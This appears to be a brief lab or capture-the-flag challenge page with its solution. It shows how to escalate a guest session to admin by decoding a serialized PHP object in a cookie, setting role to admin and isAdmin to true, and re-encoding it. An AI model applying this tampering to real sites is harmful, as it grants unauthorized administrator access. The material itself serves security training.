Logged in as: guest (role: viewer)
New session created. Refresh to load.
You are a regular user. Can you become admin?
(loading...)
The session_obj cookie is a base64-encoded serialized PHP object.
Decode it, modify the serialized string to set role to admin and isAdmin to 1, re-encode and set the cookie.
Original: O:11:"UserSession":3:{s:8:"username";s:5:"guest";s:4:"role";s:6:"viewer";s:7:"isAdmin";b:0;}
Modified: O:11:"UserSession":3:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";s:7:"isAdmin";b:1;}
Then base64-encode and replace the cookie value.